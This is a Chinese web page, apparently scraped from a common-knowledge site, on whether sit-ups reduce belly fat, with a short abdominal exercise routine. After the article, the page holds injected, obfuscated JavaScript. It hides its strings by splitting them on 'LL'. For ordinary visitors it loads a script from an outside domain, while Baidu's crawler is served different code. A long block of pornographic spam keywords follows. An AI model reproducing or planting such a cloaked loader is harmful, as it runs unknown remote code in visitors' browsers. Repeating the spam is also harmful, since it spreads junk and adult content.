當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

做仰臥起坐減肚子嗎

2017-04-21 15:03:17  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在有很多女性都在追求能夠減肚子的運動方法,一則夏天快要來到了,如果讓別人看到自己的游泳圈的話會特別尷尬的,而且肚子大的話又不能穿

現(xiàn)在有很多女性都在追求能夠減肚子的運動方法,一則夏天快要來到了,如果讓別人看到自己的游泳圈的話會特別尷尬的,而且肚子大的話又不能穿自己喜愛的衣服,特別糾結(jié)。現(xiàn)在仰臥起坐是在女性圈子中比較受歡迎的一種減肚子方式,雖然仰臥起坐挺累人的,但是在女性朋友的強烈減肥欲望面前,很多困難都是可以被克服的。那么,仰臥起坐到底能不能減肚子呢?讓我們一起來看一下。

仰臥起坐由于主要鍛煉部位是腰部和腹部,因此只要長期堅持,減肚子是可以達到的,但是不可急于求成。在這里也介紹一種腹部減肥操,在做仰臥起坐之前先做這幾步可以更好地減肚子。

第一步,揉搓腹部:仰臥于床上,兩手相疊,放在腹上,以順時針,逆時針方向各按摩50圈;然后,兩手分開放在腹上,上下往復(fù)按摩50次。要求不用意念,可以憋口氣把腹部頂起來練習(xí),早晚一組。

第二步,體轉(zhuǎn):兩腿分開直立與肩同寬,兩手叉腰或下垂體部兩側(cè),隨身體擺動,身體向左右轉(zhuǎn)體各50次。要求轉(zhuǎn)體時兩腿不動,轉(zhuǎn)體幅度要大,直腰,頭頸要上頂。

第三步,體前屈立起:兩腿分開直立與肩寬,上體前傾向下體前屈,然后立起。要求膝蓋要挺直,雙手盡量去觸摸地面一下,連續(xù)做50次。

第四步,依次高抬腿:兩腿伸直站立(也可以雙手扶墻壁、寫字臺、窗臺上或在床上、地毯上進行)上體盡量不動,膝蓋盡量上抬貼胸,兩手可以抱一下腿,連續(xù)反復(fù)各做50次。

最后就是仰臥起坐了,但是這里的仰臥起坐姿勢和平常的仰臥起坐姿勢會有點不同,具體做法是:仰臥在床上或地毯上,兩腿伸直,上身用力坐起,然后將身體前傾,同時雙手去觸摸腳尖,連續(xù)反復(fù)數(shù)次。

堅持用這幾個方法的話很容易就能達到減肚子的小,如果實在是受不了那么多步驟,可以簡單地做第一步和仰臥起坐就好了,或者是減少每個步驟的次數(shù),剛開始的時候慢慢來,從自己能接受的強度開始訓(xùn)練。要注意的一點是,減肚子不能光靠鍛煉,還要靠預(yù)防,在吃完飯后不能立馬坐在椅子上,而要適當(dāng)起來走動走動,促進腸胃蠕動。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品亚洲成a人片在线观看| 91精品国产人成网站| 国产精品成人观看视频网站| 国产精品乱码久久久久久软件| 3d动漫精品啪啪一区二区免费| 亚洲高清专区日韩精品| 亚洲精品无码永久在线观看你懂的| 国产精品自产拍在线18禁 | 99精品国产三级在线观看| 在线成人精品国产区免费| 久久精品三级视频| 孩交VIDEOS精品乱子| 国产亚州精品女人久久久久久| 国产久爱免费精品视频| 久久99精品免费一区二区 | 米奇777四色精品人人爽| 久久久久久一品道精品免费看| 久久精品视频一区二区三区| 久久青青草原精品国产不卡| 精品人妻伦一二三区久久| 久久久久成人精品无码| 99国产精品一区二区| 日韩精品人妻一区二区中文八零 | 国产精品久久久久久久app| 中文精品一卡2卡3卡4卡| 欧美精品黑人粗大视频| 精品露脸国产偷人在视频7| 精品熟女少妇AV免费观看| 真实国产精品视频国产网| 国产成人久久精品麻豆二区| 国产一卡2卡3卡四卡精品一信息 | 美女bbbb精品视频| 国产精品成人无码久久久久久| 国产偷窥熟女高潮精品视频| 99热成人精品热久久669| 国产办公室秘书无码精品99 | 亚洲综合精品香蕉久久网97| 久久精品a亚洲国产v高清不卡| 国产精品视频网站你懂得| 久久久一本精品99久久精品66直播 | 亚洲精品宾馆在线精品酒店|